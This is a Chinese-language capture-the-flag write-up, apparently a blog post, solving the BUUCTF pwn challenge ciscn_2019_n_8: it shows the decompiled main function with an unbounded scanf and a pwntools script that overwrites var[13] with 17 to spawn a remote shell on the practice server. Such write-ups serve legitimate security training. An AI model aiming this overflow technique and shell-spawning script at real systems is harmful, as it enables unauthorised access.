BUUCTF ciscn_2019_n_8

一道通过Checksec让没看源代码的你觉得难度很高的题

1.Checksec & IDA Pro

保护除了RELRO全开。

只有main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0; // 设 var[13] 为 0
  var[14] = 0; // 设 var[14] 为 0
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5); // 没有输入上限
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL ) // var[13] = 17 , getshell
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

2.构造PoC

from pwn import *

#io = process("/root/Desktop/PwnSubjects/ciscn_2019_n_8")
io = remote("node4.buuoj.cn",28282)

payload = p32(17) * 14

io.recv()
io.sendline(payload)
io.interactive()

原理解析:

scanf函数无输入上限,var是一个数组

var[13] 、 var[14] 已经被初始化为0

因此只需要输入 14 次 17 , 即可达到 var[13] = 17 的结果。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值